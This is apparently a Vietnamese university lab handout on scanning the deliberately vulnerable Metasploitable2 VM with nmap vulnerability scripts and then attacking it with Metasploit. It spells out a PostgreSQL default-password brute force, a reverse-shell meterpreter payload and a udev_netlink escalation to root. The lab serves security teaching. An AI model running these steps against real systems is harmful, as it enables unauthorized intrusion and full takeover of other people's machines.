Cơ sở ATTT -INT1472 - Bài thực hành số 3: Rà quét và khai thác các lỗ hổng chuyên sâu

1. Mục đích:

- Tìm hiểu sâu về các lỗ hổng một số dịch vụ, phần mềm trên HĐH sử dụng công cụ nmap với các tính năng quét lỗ hổng nâng cao
- Luyện thực hành tấn công kiểm soát hệ thống chạy Ubuntu từ xa sử dụng công cụ tấn công Metasploit trên Kali Linux.

2. Các phần mềm, công cụ cần có

- Kali Linux
- Metasploit
- Nmap (có sẵn trên Kali Linux)
- Metasploitable2: máy ảo Ubuntu trên VMWare chứa lỗi, có thể tải tại:
  - http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

3. Công cụ nmap và quét lỗ hổng sử dụng NSE scripts

Nmap là một công cụ được sử dụng phổ biến để quét các cổng dịch vụ, tìm thông tin về hệ điều hành và các dịch vụ đang chạy trên 1 hệ thống. Ngoài ra, nmap cũng có thể sử dụng để quét, tìm các lỗ hổng bảo mật trên các hệ điều hành và dịch vụ sử dụng các NSE (Nmap Scripting Engine) scripts. Các NSE script thường được cài đặt đi kèm với nmap, hoặc cài đặt, cập nhật nếu cần thiết. Trên các hệ điều hành Linux, các NSE script thường được đặt trong thư mục /usr/share/nmap/scripts. Một số cú pháp sử dụng nmap thông dụng:

- Quét tìm các cổng dịch vụ mở trên 1 máy, có phát hiện thông tin về hệ điều hành, phiên bản các dịch vụ:

  nmap -sV -A <địa chỉ IP / tên máy>

- Quét các dịch vụ và lỗ hổng với các thiết lập script ngầm định:

  nmap -sC <địa chỉ IP / tên máy>

- Quét các dịch vụ và lỗ hổng với CSDL lỗ hổng chỉ định:

  nmap --script <Tên CSDL lỗ hổng> <địa chỉ IP / tên máy>

- Quét lỗ hổng với CSDL lỗ hổng chỉ định với cổng dịch vụ chỉ định:

  nmap --script <Tên CSDL lỗ hổng> -p <số hiệu cổng> <địa chỉ IP / tên máy>

- Quét lỗ hổng với script chỉ định với cổng dịch vụ chỉ định:

  nmap --script=<Tên file hoặc nhóm file script> -p <số hiệu cổng> <địa chỉ IP / tên máy>

4. Tìm hiểu về các lỗ hổng bảo mật trên một số DV của Ubuntu

Metasploitable2 là một máy ảo VMWare được tích hợp nhiều dịch vụ chứa các lỗi bảo mật đã biết cho phép khai thác kiểm soát hệ thống từ xa phục vụ học tập. Danh sách các lỗ hổng và hướng dẫn khai thác có thể tìm tại: https://www.hackingarticles.in/comprehensive-guide-on-metasploitable-2/. Các dịch vụ chạy trên máy ảo mày gồm:

Service (Dịch vụ)	Port (Cổng)
Vsftpd 2.3.4	21
OpenSSH 4.7p1 Debian 8ubuntu 1 (protocol 2.0)	22
Linux telnetd service	23
Postfix smtpd	25
ISC BIND 9.4.2	53
Apache httpd 2.2.8 Ubuntu DAV/2	80
A RPCbind service	111
Samba smbd 3.X	139 & 445
3 r services	512, 513 & 514
GNU Classpath grmiregistry	1099
Metasploitable root shell	1524
A NFS service	2048
ProFTPD 1.3.1	2121
MySQL 5.0.51a-3ubuntu5	3306
PostgreSQL DB 8.3.0 – 8.3.7	5432
VNC protocol v1.3	5900
X11 service	6000
Unreal ircd	6667
Apache Jserv protocol 1.3	8009
Apache Tomcat/Coyote JSP engine 1.1	8180

5. Nội dung thực hành

5.1 Cài đặt các công cụ, nền tảng

- Cài đặt nền tảng ảo hoá VMWare (khuyến nghị do các máy ảo thực hành có sẵn cho VMWare, đồng thời VMWare chạy nhanh, ổn định).
- Cài đặt Kali Linux (nếu chưa cài đặt) trên 1 máy ảo (hoặc máy thực)
    - Bản ISO của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-bare-metal
    - Bản cài sẵn trên máy ảo của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-virtual-machines
    - Đổi tên máy Kali Linux thành dạng Mã SV-Tên-Kali. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Kali. Nếu chưa biết cách đổi tên máy Linux, tham khảo cách đổi tên máy Metasploitable2 ở dưới.
- Kiểm tra và chạy thử bộ công cụ tấn công MetaSploit
    - Từ menu bên trái, tìm biểu tượng MetaSploit (chữ M cách điệu) nhấp chuột để chạy, hoặc:
    - Mở cửa sổ Terminal > gõ lệnh msfconsole
- Tải và cài đặt Metasploitable2 làm máy victim:

    - Tải Metasploitable2
    - Giải nén
    - Sử dụng VMWare Player hoặc VMWare để mở và khởi động máy ảo. Tài khoản đăng nhập vào hệ thống là msfadmin / msfadmin.
- Lưu ý đặt tên máy victim là Mã SV+Tên-Meta. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Meta. Khởi động lại máy victim để máy nhận tên mới.
    - Hướng dẫn đổi tên máy:
    - Chạy lệnh: sudo nano /etc/hostname
    - Nhập tên máy mới theo quy tắc trên, nhấn Ctrl-x và bấm y để xác nhận
    - Khởi động lại máy: sudo reboot
- Tìm địa chỉ IP của máy victim:
    - Chạy lệnh trong máy victim: ifconfig
    - Tìm IP v4 ở interface eth0 ở mục 'inet addr'
- Kiểm tra kết nối mạng giữa các máy:
    - Từ máy victim, chạy lệnh ping <ip_máy kali>
    - Từ máy Kali, chạy lệnh ping <ip_máy victim>

5.2 Kiểm tra và cài đặt các NSE scripts cho nmap

- Kiểm tra các NSE scripts có sẵn cho nmap:

  cd /usr/share/nmap/scripts

  ls (chụp ảnh màn hình đầu tiên hiển thị các NSE scripts có sẵn lưu file kết quả)

- Cài đặt CSDL nmap-vulners:

  sudo git clone https://github.com/vulnersCom/nmap-vulners.git (chụp ảnh màn hình báo cài đặt thành công lưu file kết quả)

  ls nmap-vulners (chụp ảnh màn hình hiển thị các NSE scripts đã cài lưu file kết quả)

- Cài đặt CSDL vulscan:

  sudo git clone https://github.com/scipag/vulscan.git (chụp ảnh màn hình báo cài đặt thành công lưu file kết quả)

  ls vulscan (chụp ảnh màn hình hiển thị các NSE scripts đã cài lưu file kết quả)

5.3 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại sử dụng NSE script với nmap

Sử dụng công cụ nmap với NSE script để rà quét các lỗ hổng tồn tại trên máy chạy Metasploitable2. Với mỗi lệnh, chụp ảnh 1 màn hình hiển thị, khoảnh mầu 1-2 lỗ hổng đầu tiên tìm được và đưa vào file kết quả có kèm tên dịch vụ đã quét:

nmap --script=vulscan/vulscan.nse -sV -p21 <địa chỉ IP máy có lỗ hổng>

nmap --script=vulscan/vulscan.nse -sV -p22 <địa chỉ IP máy có lỗ hổng>

nmap --script=vulscan/vulscan.nse -sV -p23 <địa chỉ IP máy có lỗ hổng>

nmap --script=nmap-vulners/vulners.nse -sV -p21 <địa chỉ IP máy có lỗ hổng>

nmap --script=nmap-vulners/vulners.nse -sV -p22 <địa chỉ IP máy có lỗ hổng>

nmap --script=nmap-vulners/vulners.nse -sV -p23 <địa chỉ IP máy có lỗ hổng>

nmap --script=vulscan/vulscan.nse -sV -p80 <địa chỉ IP máy có lỗ hổng>

nmap --script=vulscan/vulscan.nse -sV -p139 <địa chỉ IP máy có lỗ hổng>

nmap --script=vulscan/vulscan.nse -sV -p5432 <địa chỉ IP máy có lỗ hổng>

5.3 Khai thác lỗi đăng nhập trên PostgreSQL, cổng 5432:

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
  msf > use auxiliary/scanner/postgres/postgres_login
- Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đang sử dụng
- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Đặt địa tham số dừng:

  msf> set STOP_ON_SUCCESS true

- Thực thi tấn công:
  msf > run

  ➔ Sau một số lần thử, máy victim sẽ thông báo kết nối thành công đến CSDL trong PostgreSQL sử dụng tài khoản với mật khẩu ngầm định.

- Gõ lệnh exit để kết thúc

5.4 Khai thác lỗi trên PostgreSQL cho phép mở shell chạy với quyền root:

- Khởi động Metasploit
- Khai báo sử dụng mô đun postgres_payload để tạo 1 phiên kết nối đến CSDL:
  msf > use exploit/linux/postgres/postgres_payload
- Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đang sử dụng
- Chọn payload cho thực thi:
  msf > set payload linux/x86/meterpreter/reverse_tcp
- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Đặt địa chỉ IP máy tấn công:
  msf > set LHOST <ip_máy Kali>
- Đặt mật khẩu cho CSDL:
  msf > set PASSWORD postgres
- Thực thi tấn công:
  msf > exploit

  ➔ Tạo được 1 phiên kết nối đến CSDL.

- Chuyển phiên kết nối sang chế độ chạy ngầm sử dụng lệnh "background":

  meterpreter > background

- Đặt mô đun khai thác để mở shell:
  msf > use exploit/linux/local/udev_netlink
- Chọn payload cho thực thi:
  msf > set payload linux/x86/shell_reverse_tcp
- Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đang sử dụng
- Kết nối đến phiên CSDL đang chạy ngầm:

msf > set SESSION 1

- Thực thi tấn công:
  msf > exploit
- Chạy các lệnh để đọc tên người dùng và máy victim khai thác thành công:
  whoami
  uname -a
- Gõ lệnh exit và sau đó exit -y lần để kết thúc.

6. Yêu cầu cần đạt

1. Thành thạo cài đặt và chạy máy ảo Ubuntu
2. Thành thạo sử dụng nmap và NSE script để quét và nhận dạng các lỗ hổng
3. Thành thạo sử dụng Metasploit để tấn công khai thác lỗ hổng sử dụng thư viện có sẵn
4. Chụp ảnh màn hình kết quả lưu vào file (hoặc giữ nguyên cửa sổ màn hình thực hiện):
   a. Màn hình cập nhật NSE script
   b. Màn hình đầu tiên của kết quả mỗi lệnh nmap quét lỗ hổng
   c. Màn hình đăng nhập thành công vào CSDL PostgreSQL
   d. Màn hình kết nối thành công, tạo 1 phiên làm việc (có lệnh background)
   e. Màn hình sau khi tấn công thành công và chạy các lệnh whoami và uname -a trên hệ thống victim (tên máy đặt lại theo yêu cầu).